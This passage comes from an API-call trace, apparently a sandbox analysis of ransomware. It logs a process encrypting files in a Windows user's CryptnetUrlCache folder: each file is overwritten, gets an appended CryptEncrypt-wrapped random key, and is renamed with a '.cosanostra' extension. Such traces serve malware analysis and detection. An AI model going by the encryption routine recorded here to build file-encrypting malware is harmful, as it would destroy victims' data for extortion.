pdwDataLen=0x251f060*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f060*=0x30) returned 1 [0102.672] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7d266d9e1e69fa1eefb9699b009b34c8_1d5a876a9113ec07224c45e5a870e3bd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0102.672] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned 151 [0102.672] StrStrW (lpFirst="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", lpSrch=".txt") returned 0x0 [0102.674] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffff91d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.674] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x6e3, lpNumberOfBytesWritten=0x251f024, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f024*=0x6e3, lpOverlapped=0x0) returned 1 [0102.674] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.674] WriteFile (in: hFile=0x160, lpBuffer=0x251f064*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f024, lpOverlapped=0x0 | out: lpBuffer=0x251f064*, lpNumberOfBytesWritten=0x251f024*=0x4, lpOverlapped=0x0) returned 1 [0102.674] WriteFile (in: hFile=0x160, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f024, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f024*=0x30, lpOverlapped=0x0) returned 1 [0102.674] CloseHandle (hObject=0x160) returned 1 [0102.674] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD.cosanostra") returned 162 [0102.674] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7d266d9e1e69fa1eefb9699b009b34c8_1d5a876a9113ec07224c45e5a870e3bd"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7d266d9e1e69fa1eefb9699b009b34c8_1d5a876a9113ec07224c45e5a870e3bd.cosanostra")) returned 1 [0102.676] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f060 | out: pbBuffer=0x251f060) returned 1 [0102.676] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f058*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f058*=0x30) returned 1 [0102.676] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7d266d9e1e69fa1eefb9699b009b34c8_0a9bfdd75b598c2110cbf610c078e6e6"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0102.676] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned 151 [0102.676] StrStrW (lpFirst="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", lpSrch=".txt") returned 0x0 [0102.738] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffff91d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.738] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x6e3, lpNumberOfBytesWritten=0x251f01c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f01c*=0x6e3, lpOverlapped=0x0) returned 1 [0102.738] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.738] WriteFile (in: hFile=0x160, lpBuffer=0x251f05c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f01c, lpOverlapped=0x0 | out: lpBuffer=0x251f05c*, lpNumberOfBytesWritten=0x251f01c*=0x4, lpOverlapped=0x0) returned 1 [0102.738] WriteFile (in: hFile=0x160, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f01c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f01c*=0x30, lpOverlapped=0x0) returned 1 [0102.738] CloseHandle (hObject=0x160) returned 1 [0102.794] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6.cosanostra") returned 162 [0102.794] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7d266d9e1e69fa1eefb9699b009b34c8_0a9bfdd75b598c2110cbf610c078e6e6"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7d266d9e1e69fa1eefb9699b009b34c8_0a9bfdd75b598c2110cbf610c078e6e6.cosanostra")) returned 1 [0103.384] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f060 | out: pbBuffer=0x251f060) returned 1 [0103.384] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f058*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f058*=0x30) returned 1 [0103.384] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\696f3de637e6de85b458996d49d759ad"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.384] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD") returned 118 [0103.384] StrStrW (lpFirst="696F3DE637E6DE85B458996D49D759AD", lpSrch=".txt") returned 0x0 [0103.385] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffcd3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.385] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x251f01c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f01c*=0x32d, lpOverlapped=0x0) returned 1 [0103.385] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.385] WriteFile (in: hFile=0x15c, lpBuffer=0x251f05c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f01c, lpOverlapped=0x0 | out: lpBuffer=0x251f05c*, lpNumberOfBytesWritten=0x251f01c*=0x4, lpOverlapped=0x0) returned 1 [0103.385] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f01c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f01c*=0x30, lpOverlapped=0x0) returned 1 [0103.385] CloseHandle (hObject=0x15c) returned 1 [0103.385] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD.cosanostra") returned 129 [0103.386] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\696f3de637e6de85b458996d49d759ad"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\696f3de637e6de85b458996d49d759ad.cosanostra")) returned 1 [0103.387] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f058 | out: pbBuffer=0x251f058) returned 1 [0103.387] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f050*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f050*=0x30) returned 1 [0103.387] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\5457a8ce4b2a7499f8299a013b6e1c7c_ce50f893881d43dc0c815e4d80faf2b4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.388] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned 151 [0103.388] StrStrW (lpFirst="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", lpSrch=".txt") returned 0x0 [0103.389] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe29, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.389] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x1d7, lpNumberOfBytesWritten=0x251f014, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f014*=0x1d7, lpOverlapped=0x0) returned 1 [0103.389] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.389] WriteFile (in: hFile=0x15c, lpBuffer=0x251f054*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f014, lpOverlapped=0x0 | out: lpBuffer=0x251f054*, lpNumberOfBytesWritten=0x251f014*=0x4, lpOverlapped=0x0) returned 1 [0103.389] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f014, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f014*=0x30, lpOverlapped=0x0) returned 1 [0103.390] CloseHandle (hObject=0x15c) returned 1 [0103.390] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4.cosanostra") returned 162 [0103.390] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\5457a8ce4b2a7499f8299a013b6e1c7c_ce50f893881d43dc0c815e4d80faf2b4"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\5457a8ce4b2a7499f8299a013b6e1c7c_ce50f893881d43dc0c815e4d80faf2b4.cosanostra")) returned 1 [0103.391] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f058 | out: pbBuffer=0x251f058) returned 1 [0103.391] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f050*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f050*=0x30) returned 1 [0103.391] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\5080dc7a65db6a5960ecd874088f3328_6cba2c06d5985dd95ae59af8fc7c6220"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.391] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned 151 [0103.391] StrStrW (lpFirst="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", lpSrch=".txt") returned 0x0 [0103.405] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffd29, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.405] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2d7, lpNumberOfBytesWritten=0x251f014, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f014*=0x2d7, lpOverlapped=0x0) returned 1 [0103.405] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.405] WriteFile (in: hFile=0x15c, lpBuffer=0x251f054*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f014, lpOverlapped=0x0 | out: lpBuffer=0x251f054*, lpNumberOfBytesWritten=0x251f014*=0x4, lpOverlapped=0x0) returned 1 [0103.405] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f014, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f014*=0x30, lpOverlapped=0x0) returned 1 [0103.405] CloseHandle (hObject=0x15c) returned 1 [0103.405] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220.cosanostra") returned 162 [0103.405] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\5080dc7a65db6a5960ecd874088f3328_6cba2c06d5985dd95ae59af8fc7c6220"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\5080dc7a65db6a5960ecd874088f3328_6cba2c06d5985dd95ae59af8fc7c6220.cosanostra")) returned 1 [0103.406] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f050 | out: pbBuffer=0x251f050) returned 1 [0103.406] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f048*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f048*=0x30) returned 1 [0103.406] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\4dd39726d4b55ac3b4119b35a893323c_46cccfb940a93f39a734f69efcdd76e9"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.407] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned 151 [0103.407] StrStrW (lpFirst="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", lpSrch=".txt") returned 0x0 [0103.408] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffff980, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.408] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x251f00c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f00c*=0x680, lpOverlapped=0x0) returned 1 [0103.409] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.409] WriteFile (in: hFile=0x15c, lpBuffer=0x251f04c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f00c, lpOverlapped=0x0 | out: lpBuffer=0x251f04c*, lpNumberOfBytesWritten=0x251f00c*=0x4, lpOverlapped=0x0) returned 1 [0103.409] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f00c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f00c*=0x30, lpOverlapped=0x0) returned 1 [0103.409] CloseHandle (hObject=0x15c) returned 1 [0103.409] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9.cosanostra") returned 162 [0103.409] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\4dd39726d4b55ac3b4119b35a893323c_46cccfb940a93f39a734f69efcdd76e9"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\4dd39726d4b55ac3b4119b35a893323c_46cccfb940a93f39a734f69efcdd76e9.cosanostra")) returned 1 [0103.410] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f050 | out: pbBuffer=0x251f050) returned 1 [0103.410] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f048*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f048*=0x30) returned 1 [0103.410] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\4c8f841fb02dec8c10108028db86a08d_8dafffd2d43bdc7a1717f5b61c303398"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.411] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned 151 [0103.411] StrStrW (lpFirst="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", lpSrch=".txt") returned 0x0 [0103.411] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe29, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.412] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x1d7, lpNumberOfBytesWritten=0x251f00c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f00c*=0x1d7, lpOverlapped=0x0) returned 1 [0103.412] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.412] WriteFile (in: hFile=0x15c, lpBuffer=0x251f04c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f00c, lpOverlapped=0x0 | out: lpBuffer=0x251f04c*, lpNumberOfBytesWritten=0x251f00c*=0x4, lpOverlapped=0x0) returned 1 [0103.412] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f00c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f00c*=0x30, lpOverlapped=0x0) returned 1 [0103.412] CloseHandle (hObject=0x15c) returned 1 [0103.412] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398.cosanostra") returned 162 [0103.412] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\4c8f841fb02dec8c10108028db86a08d_8dafffd2d43bdc7a1717f5b61c303398"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\4c8f841fb02dec8c10108028db86a08d_8dafffd2d43bdc7a1717f5b61c303398.cosanostra")) returned 1 [0103.413] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f048 | out: pbBuffer=0x251f048) returned 1 [0103.413] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f040*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f040*=0x30) returned 1 [0103.413] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\40e450f7ce13419a2ccc2a5445035a0a_06f02b1f13ab4b11b8fc669bde565af1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.413] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS 